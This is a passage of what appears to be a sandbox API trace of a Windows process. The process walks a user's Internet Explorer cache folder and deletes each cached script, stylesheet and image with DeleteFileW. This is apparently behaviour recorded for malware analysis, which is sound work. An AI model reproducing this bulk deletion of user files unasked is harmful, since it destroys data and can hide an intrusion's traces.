returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBw2j7b[1].jpg" [0100.682] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\BBw2j7b[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bbw2j7b[1].jpg")) returned 1 [0100.683] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1967e740, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1967e740, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1967e740, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f15, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="bootstrap[1].js", cAlternateFileName="BOOTST~1.JS")) returned 1 [0100.683] lstrlenW (lpString="bootstrap[1].js") returned 15 [0100.683] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="bootstrap[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bootstrap[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bootstrap[1].js" [0100.683] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bootstrap[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bootstrap[1].js")) returned 1 [0100.719] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c8a16a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c8a16a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c8a16a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="box_19_top-right[1].png", cAlternateFileName="BOX_19~1.PNG")) returned 1 [0100.719] lstrlenW (lpString="box_19_top-right[1].png") returned 23 [0100.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="box_19_top-right[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\box_19_top-right[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\box_19_top-right[1].png" [0100.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\box_19_top-right[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\box_19_top-right[1].png")) returned 1 [0100.733] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf000d40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf000d40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf000d40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x30be, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="bs-util[1].css", cAlternateFileName="BS-UTI~1.CSS")) returned 1 [0100.733] lstrlenW (lpString="bs-util[1].css") returned 14 [0100.733] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="bs-util[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bs-util[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bs-util[1].css" [0100.733] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\bs-util[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\bs-util[1].css")) returned 1 [0100.784] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf6d8c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf6d8c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf6d8c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x326a, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="clientconfig[1]", cAlternateFileName="CLIENT~1")) returned 1 [0100.784] lstrlenW (lpString="clientconfig[1]") returned 15 [0100.784] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="clientconfig[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\clientconfig[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\clientconfig[1]" [0100.784] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\clientconfig[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\clientconfig[1]")) returned 1 [0100.785] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c87b540, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c87b540, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c87b540, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x762, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="COMMON[1].css", cAlternateFileName="COMMON~1.CSS")) returned 1 [0100.785] lstrlenW (lpString="COMMON[1].css") returned 13 [0100.785] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="COMMON[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\COMMON[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\COMMON[1].css" [0100.785] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\COMMON[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\common[1].css")) returned 1 [0100.790] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1954dc40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1954dc40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1954dc40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ContainerTag[1].js", cAlternateFileName="CONTAI~1.JS")) returned 1 [0100.790] lstrlenW (lpString="ContainerTag[1].js") returned 18 [0100.790] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="ContainerTag[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[1].js" [0100.790] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\containertag[1].js")) returned 1 [0100.836] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1abc4be0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1abc4be0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1abc4be0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ContainerTag[2].js", cAlternateFileName="CONTAI~2.JS")) returned 1 [0100.836] lstrlenW (lpString="ContainerTag[2].js") returned 18 [0100.836] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="ContainerTag[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[2].js" [0100.836] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\containertag[2].js")) returned 1 [0100.916] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1abead40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1abead40, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1abead40, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ContainerTag[3].js", cAlternateFileName="CONTAI~3.JS")) returned 1 [0100.916] lstrlenW (lpString="ContainerTag[3].js") returned 18 [0100.916] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="ContainerTag[3].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[3].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[3].js" [0100.916] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ContainerTag[3].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\containertag[3].js")) returned 1 [0100.917] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf262340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf262340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf262340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x26db8, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="css[1].txt", cAlternateFileName="CSS_1_~1.TXT")) returned 1 [0100.917] lstrlenW (lpString="css[1].txt") returned 10 [0100.917] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="css[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\css[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\css[1].txt" [0100.917] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\css[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\css[1].txt")) returned 1 [0101.049] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="cs[1].gif", cAlternateFileName="CS_1_~1.GIF")) returned 1 [0101.049] lstrlenW (lpString="cs[1].gif") returned 9 [0101.049] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="cs[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\cs[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\cs[1].gif" [0101.049] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\cs[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\cs[1].gif")) returned 1 [0101.069] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1c7c860, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1c7c860, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1c7c860, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x425f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="DE-300x250-text03[1].jpg", cAlternateFileName="DE-300~1.JPG")) returned 1 [0101.069] lstrlenW (lpString="DE-300x250-text03[1].jpg") returned 24 [0101.069] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="DE-300x250-text03[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\DE-300x250-text03[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\DE-300x250-text03[1].jpg" [0101.069] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\DE-300x250-text03[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\de-300x250-text03[1].jpg")) returned 1 [0101.251] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0101.251] lstrlenW (lpString="desktop.ini") returned 11 [0101.251] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\desktop.ini" [0101.252] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\desktop.ini")) returned 1 [0101.252] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xceb96750, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xceb96750, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcebce9c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x39b31, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="fe-5c8f1f-f30905ea[1]", cAlternateFileName="FE-5C8~1")) returned 1 [0101.252] lstrlenW (lpString="fe-5c8f1f-f30905ea[1]") returned 21 [0101.252] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="fe-5c8f1f-f30905ea[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\fe-5c8f1f-f30905ea[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\fe-5c8f1f-f30905ea[1]" [0101.252] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\fe-5c8f1f-f30905ea[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\fe-5c8f1f-f30905ea[1]")) returned 1 [0101.252] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdc4aee0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdc4aee0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdc4aee0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="googbase_min[1].js", cAlternateFileName="GOOGBA~1.JS")) returned 1 [0101.252] lstrlenW (lpString="googbase_min[1].js") returned 18 [0101.252] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="googbase_min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\googbase_min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\googbase_min[1].js" [0101.252] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\googbase_min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\googbase_min[1].js")) returned 1 [0101.253] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb99ecc20, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb99ecc20, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9c280c0, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0xbe36, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="google_de[1].htm", cAlternateFileName="GOOGLE~1.HTM")) returned 1 [0101.253] lstrlenW (lpString="google_de[1].htm") returned 16 [0101.253] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="google_de[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\google_de[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\google_de[1].htm" [0101.253] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\google_de[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\google_de[1].htm")) returned 1 [0101.314] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdfb6e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdfb6e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdfb6e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="gwdimage_min[1].js", cAlternateFileName="GWDIMA~1.JS")) returned 1 [0101.314] lstrlenW (lpString="gwdimage_min[1].js") returned 18 [0101.315] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="gwdimage_min[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_min[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_min[1].js" [0101.315] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_min[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\gwdimage_min[1].js")) returned 1 [0101.414] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdbb2960, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdbb2960, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdbb2960, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="gwdimage_style[1].css", cAlternateFileName="GWDIMA~1.CSS")) returned 1 [0101.414] lstrlenW (lpString="gwdimage_style[1].css") returned 21 [0101.414] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="gwdimage_style[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_style[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_style[1].css" [0101.414] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\gwdimage_style[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\gwdimage_style[1].css")) returned 1 [0101.467] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccd906c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccd906c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccd906c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4b5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="js[1]", cAlternateFileName="JS_1_~1")) returned 1 [0101.467] lstrlenW (lpString="js[1]") returned 5 [0101.467] PathCombineW (in: 